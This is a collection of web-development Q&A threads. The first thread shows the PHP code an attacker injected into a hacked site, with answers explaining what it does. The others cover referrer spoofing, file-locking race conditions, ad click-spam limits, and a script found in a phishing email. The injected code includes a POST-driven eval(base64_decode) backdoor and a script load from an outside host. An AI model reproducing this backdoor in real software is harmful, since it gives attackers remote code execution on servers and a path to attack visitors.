Our server got hacked via some SQL Injection method (now patched). All our PHP files got this added to the very top of each file.
global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!#$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
It seems to set a cookie but I don't have the first idea what it does.
Any experts able to understand what this does and potentially what the Cookie Name that is created may look like so I can tell any users etc
UPDATE
Seen the exploit was due to a plugin in the Zenphoto Gallery Software called Tiny_MCE.
First it sets a cookie. (named lb11) to the value 102.
If it (later?) finds the cookie, it sets the cookie to a random value
between 1000 and 9000, so that it doesn't do this again: Has the user
request (and execute) a javascript, which sends which which infected
URL made the call, and then refresh the page, (so nothing appears to
have happened after the javascript has run.
But in any case, if the "showimg" parameter is passed to the page, it
looks at the content of that page, and executes it on the server.
So, If this code is present, it will run javascript, (which also informs the server which URL is infected, and then let the person run arbitrary code (via the showimg parameter) on the infected server.
This has 2 layers of attacks, it can attack the client with javascript, and can later attack the server and run arbitrary code on it.
I could be wrong here, but from the looks of it (without testing the links in the code); it could be trying to inject some client-side javascript which could be malicious. This would usually infect the visitors computer with malware etc.
As for the cookie name. I would get your visitors to remove all cookies for your domain, but from the looks of it, the cookie is called "lb11"
I didn't fancy looking at the links as you can understand ;)
Related
I am trying to overwrite custom value to HTTP REFERRER. I got success with javascript but my client want in PHP and i need help in rewriting Javascript to PHP.
JS code :
var reff = ["http://example.com", "http://example.net", "http://example.org"];
var randomreff = reff[Math.floor(Math.random() * reff.length)];
delete window.document.referrer;
window.document.__defineGetter__("referrer", function () {
return randomreff;
});
document.write(document.referrer);
I am trying to rewrite this code in PHP or maybe finding a similar solution with PHP. i tried multiple way to do in PHP. these are some example.
PHP Try 1 :
$reff = new Arr("http://example.com", "http://example.net", "http://example.org");
$randomreff = get($reff, call_method($Math, "floor", to_number(call_method($Math, "random")) * to_number(get($reff, "length"))));
_delete(get($window, "document"), "referrer");
call_method(get($window, "document"), "__defineGetter__", "referrer", new Func(function() use (&$randomreff) {
return $randomreff;
}));
PHP with variable :
$var = 'var reff = ["http://example.com", "http://example.net", "http://example.org"];
var randomreff = reff[Math.floor(Math.random() * reff.length)];
delete window.document.referrer;
window.document.__defineGetter__("referrer", function () {
return randomreff;
});
';
PHP with header referer :
header("Referer: https://www.example.com/");
None of them worked. Help me to rewrite Javascript code or alternative solution with PHP.
You won't be able to do this with PHP exclusively. document.referrer is a DOM property that is set by the browser when the page loads by reading the referrer header on the request. Since the request is generated by the browser you can't really touch it with PHP since that is executed on the server and not in the browser, if you want to execute something in the browser you will need javascript.
In your examples you are just trying to run javascript-code from PHP it seems, and that just won't work. The last sample that sets the referrer-header will set it on the response back from the server, but as I said, referrer is a request variable so it will just be ignored.
The only thing you could do from PHP is to tell the browser to redirect to the page again (by setting the location-header), but as far as I know these days this won't reset the referral-header (if so then redirects from http to https for example would loose it all the time).
I'm not exactly sure are you trying to acomplish here. Setting document.referrer is only valid for the current page and won't affect what the next page sees. If executed early it might fool some tracking scripts at most.
Background:
I am making a simple game in PHP, JavaScript and HTML for the web. A player control movements of a box on the screen, and see others fly around with their boxes.
I have the following files, that I upload to my domain via a hosting company:
index.html: a file with some buttons (eg. to start the game) and frames (for putting boxes in).
server.php: PHP script that receives messages from client, performs reads/writes to a database, echoes (using echo) boxes from database to the client. Does not echo the box of the player the message came from.
database.txt: a JSON text file containing data of players and the next free ID number. When empty it looks like this: {"players":[], "id": 1}. players contain objects with values such as ID, position and rotation.
script.js: JavaScript file with script to send/receive messages, display data from messages etc. Linked to index.html. Moves your box.
A screenshot, two players in movement:
Problem: The game crashes, always. Sooner or later. This is what happens:
Client recevies player data from server.php, everything is fine. This could be for 10 seconds or up to some minutes.
The data starts to falter, the message sometimes is null instead of actual data.
The data recevied is always null. The database file is now {"players":null,"id":5}. (The "id" could be any number, does not have to be 5).
Picture of data flow, printing of players from database. Two players. Before this screenshot lots of rows with valid data. Then as seen two null messages. Then after a while null forever.
I am not completely sure where the problem is, but I am guessing it has to do with my read/write in server.php. I feels like a lot of player movement makes the program more likely to crash. Also how often the program sends data affetcs.
Code Piece 1: This is code from server.php, that writes to the database. I have some sort of semaphore (the flock( ... ) ) to prevent clients from reading/writing at the same time (causing errors). I have an other function, read, which is very similar to this. Possible problems here:
The semaphore is incorrect.
The mode for fopen() is incorrect. See PHP docs. The mode w is for write. The tag b is for "If you do not specify the 'b' flag when working with binary files, you may experience strange problems with your data ...".
Something weird happening because I use read() in my writing function?
Code:
// Write $val to $obj in database JSON
function write($obj,$val){
$content = read();
$json = json_decode($content);
$json->{$obj} = $val; // eg. $json->{'id'} = 5;
$myfile = fopen("database.txt", "wb") or die("Unable to open file!");
if(flock($myfile, LOCK_EX|LOCK_NB)) {
fwrite($myfile,json_encode($json));
flock($myfile, LOCK_UN);
}
fclose($myfile);
}
Code Piece 2: This is my code to send data. It is called via a setInterval(). In script.js:
// Send message to server.php, call callback with answer
function communicate(messageFunc,callback){
var message = messageFunc();
if (window.XMLHttpRequest) {
var xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange= function() {
if (this.readyState==4 && this.status==200) {
callback(this.responseText);
}
}
xmlhttp.open("GET","server.php?msg="+message,true);
xmlhttp.send();
}
This is my code to receive data, in server.php: $receive = $_GET["msg"].
My current work of solving
This is what I have done so far, but nothing has changed:
Added mode b to fopen().
Added flock() to read/write functions in server.php.
Much reworking on script.js, I would say it looks/works very clean.
Check memory_get_peak_usage(), and check with the hosting company for memory limits. Should be no problem at all.
Looked at PHP garbage collecting and gc_enable() (I don't know why that would change anything).
Lots of testing, looking at the data flow.
Crying.
Conclusion: Is this type of application what PHP is for? What do you think is wrong? If you want more code/info I provide. Thank you very much.
Here is the root of your problem:
$myfile = fopen("database.txt", "wb") or die("Unable to open file!");
Note the behavior of the w open mode (emphasis mine):
Open for writing only; place the file pointer at the beginning of the file and truncate the file to zero length. If the file does not exist, attempt to create it.
This happens before you lock the file. What's happening is that between this fopen() call and the following flock() call, the file's content is zero length, and a reader is coming along during that time and reading the empty file.
Why doesn't this cause an error in PHP when you parse the empty string as JSON? Because json_decode() is defective, and returns null when the input is not valid JSON rather than throwing an exception. Nevermind that the string "null" is valid JSON -- json_decode() gives you no way to differentiate between the cases of valid input representing the null value and invalid input. If json_decode() actually threw an exception or triggered a PHP error (don't ask me why two error-signalling mechanisms are necessary in PHP), you would have a fantastic point to start debugging to figure out why the file is empty, and you might have solved this problem by now!
... sigh ...
PHP's "design" gives me headaches. But I digress.
To fix this whole problem, change the open mode to "cb" and ftruncate($myfile, 0) after you successfully acquire the lock.
Note the behavior of the c mode, which actually specifically mentions the approach you are using (emphasis mine):
Open the file for writing only. If the file does not exist, it is created. If it exists, it is neither truncated (as opposed to 'w'), nor the call to this function fails (as is the case with 'x'). The file pointer is positioned on the beginning of the file. This may be useful if it's desired to get an advisory lock (see flock()) before attempting to modify the file, as using 'w' could truncate the file before the lock was obtained (if truncation is desired, ftruncate() can be used after the lock is requested).
I'm trying to record user's clicks on a specific iFrame in a div containing an ad, in order to block problematic IP addresses, thus preventing those who are trying to spam the ad, from being able to click it again. In each click made by the user, a record will be inserted into a table in mySQL database which includes:
IP address
Clicks counter
Unix timestamp
Each user/IP address has a privilege to click the ad 3 times in 24 hours.
For detecting each click on the iFrame ad, I used iframeTracker-jquery class and implemented a JavaScript code as follow:
index.php:
<?php include 'AdProtection.php'; ?>
<html>
<head>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>
<script src="js/jquery.iframetracker.js"></script>
<script>
jQuery(document).ready(function($) {
$('.iframetrack iframe').iframeTracker({
blurCallback: function() {
console.log("Click has been detected!");
$.ajax({
type: "POST",
url: "update.php"
);
}
});
});
</script>
</head>
<body>
<div class="iframetrack" id="adsense_frame">
<?php //Returns true when a user 's IP address isn't currently blocked by checking in Database. if(AdProtection::protectAd()) echo '<iframe width="728" height="90" src="js/demo/sample-iframe/red.html" frameborder="0" allowtransparency="true" scrolling="no"></iframe>'; ?>
</div>
</body>
</html>
update.php:
<?php
function update($odb)
{
$sql=$odb->prepare('INSERT INTO system (ip, clicks, timestamp) VALUES(:ip, clicks+1, :timestamp) ON DUPLICATE KEY UPDATE clicks = clicks+1, timestamp = :timestamp');
$sql->execute(array(':ip' => ip2long($_SERVER['REMOTE_ADDR']),':timestamp' => time()));
}
//PDO Connection
include ( "db.php");
$sql=$odb->prepare('SELECT clicks, timestamp FROM system WHERE ip= :ip');
$sql->execute(array(':ip' => ip2long($_SERVER['REMOTE_ADDR'])));
$data = $sql->fetch();
if($data != null)
{
if($data['clicks'] % 3 == 0)
{
if(($data['timestamp'] + (24 * 60 * 60)) < time())
update($odb);
else
//User is currently blocked.
}
else
update($odb);
}
else
update($odb);
There are 2 crucial problems when implementing this JavaScript code / jQuery POST request:
The code can be manipulated/modified by an individual since JavaScript is a client-side language.
A spam can be made on the update.php file.
How can I deal with these problems ?
Do the checks server-side. Always.
You have neither control nor reliable knowledge about the client, so with anything sensitive, don't trust it.
Ultimately, a user may just download the source code of an open-source browser and modify it as (s)he wishes.
Disabling things client-side is a nice plus if it indicates that functionality is not available, and it might save you and your users some time and bandwidth, but there are gonna be those who try to circumvent it, and for those you need to be prepared.
Disabling things server-side means just denying execution, i.e. just put an exit; after your comment //User is currently blocked., that should do it.
For your second question: yes, the update.php might get spammed, but so might any other PHP script.
Every reasonable web server I know has some way of limiting the amount of requests a client can make in a certain amount of time.
Lighttpd has a native mod_evasive, nginx has HttpLimitReqModule and for Apache there's a number of things, see this SO answer.
If the spamming exceeds the capabilities of your web server, it's time to look into DDos protection.
Js code may be manipulated by anyone as its client side all what you can do is to minimalise risk of your code to be potentially disabled by other script in order to do it write your js to use only private methods and variables in a self-executing function. So the code will be not visible in global namespace, you may also need to copy definitions of globally available objects (like document or getElementById) as they may change them and not your code itself. After that obfuscate code and minify it.
For PHP you will probably need to implement some kind of authentication to work in pair with your js script as this is nothing more than securing any request for access so maybe IP or session validation. Yo may also implement some other server side mechanisms in order to prevent this script from being accessed by certain IP adresses.
You may also decide to not display iframe at all for certain ip addresses or by device fingerprint http://en.wikipedia.org/wiki/Device_fingerprint which will not depend on client side logic, this will probably make it more secure than solution proposed by you.
If the user navigates off the webpage, is it possible to execute a php script?
I know that Javascript can be executed..
$(window).bind('beforeunload', function(){
return 'DataTest';
});
Cookies might work, but I am not sure how a listener could track an expired cookie, and then delete the correct webpage.
A sample file system is like this:
user0814HIFA9032RHBFAP3RU.php
user9IB83BFI19Y298RYBFWOF.php
index.php
listener.py
data.txt
Typically, to create the website, php writes to the data.txt and the Python listener picks up this change, and creates the file (user[numbers]). As you might think, these files stack up overtime and they need to be deleted.
The http protocol is stateless, therefore users simply can not "navigate away".
The browser requires a page, the server returns it, and the communication stops.
The server doesn't have reliable methods to know what the client will do with that page.
Disclaimer: I'm not sure, as Fox pointed out, that this is the right way to go in your case. I actuallly upvoted Fox's answer.
However, if you absolutely need to delete each page right after the user left it, use this:
$(window).bind('beforeunload', function() {
$.ajax('yourscript.php?currentUser=0814HIFA9032RHBFAP3RU');
});
Then in yourscript.php, put something like the following:
<?php
// load your userId (for example, with $_SESSION, but do what you want here)
$actualUser = $_SESSION['userId'];
// checks if the requested id to delete fits your actual current user's id
if (isset($_GET['currentUser'] && $_GET['currentUser'] == $actualUser)
{
$user = $_GET['currentUser'];
$file = 'user'.$user.'.php';
unlink($file);
}
so I received an obvious phising email today with this js code in it:
<script type="text/javascript" language="Javascript1.1">
<!-- Begin
var bCancel = false;
function validateRegistrationDetails(form) {
hmrc.portal.clearFieldValidationErrors(form);
if (bCancel) {
return true;
} else {
var registrationDetailsPageMessage = new String("<p>ERROR: This page contains one or more errors. See details below.</p>")
var formValidationResult;
formValidationResult = validateRequired(form) & validateMask(form) & validateIdenticalEmailAddresses(form);
if (!formValidationResult){
var formName=form.name;
var ele=document.getElementById('pageError.registrationDetails');
if(ele){
ele.innerHTML = registrationDetailsPageMessage;
ele.style.display = ''; }
}
return (formValidationResult == 1);
}
}
function registrationDetails_required () {
this.a0 = new Array("selectedServices", "<p>ERROR: Please select at least one online service.</p>", new Function ("varName", " return this[varName];"));
}
function registrationDetails_mask () {
}
function registrationDetails_identicalEmailAddresses () {
}
//End -->
</script>
Is it malicious in anyway, what exactly does it do with the form data. I am not that versed in vanilla javascript. Any explanation would be helpful.
Thanks
In all likelihood, whoever sent you this simply lifted a section of HTML and inline JavaScript from the site they were trying to pretend to be. A few lines in the code such as:
hmrc.portal.clearFieldValidationErrors(form);
suggest that they were trying to be HMRC, with the rest of the code being simple validation of the information being entered; I'm going to guess that the content was taken from the 'Registration' section of that site
So you've already established that it's a phishing email.
Typically phishing emails try to make themselves look legitimate by copying large chunks of code from the original website that they're trying to pretend to be (ie your bank's site or whatever). They'll then alter that code so that it sends the relevant data to the phisher rather than to the bank. They may also add fields that weren't in the original, such as asking for your PIN, etc.
However, the main point here is that the bulk of the original code is generally retained, in order to maintain the look and feel of the original site.
Therefore the chances are that the code you're seeing has actually been copied by the phishers from the original site.
There's nothing explicitly malicious about this code in itself -- it has a lot of badly written code, but it isn't trying to do anything wrong in this code.
Where the problem lies for the phishers here is that Javascript code is blocked by most email clients; ie regardless of its intent, the chances are that that this code won't actually work in your mail client.
But I would guess that the phishers have just taken the original form wholesale from the website and dumped it into an email without bothering to take out any javascript that might have been embedded in it.
So the short answer is: Don't worry about this code in particular, but please do delete the email.
As far as I can see, there's nothing malicious with it, unless some script has been included outside of this script itself.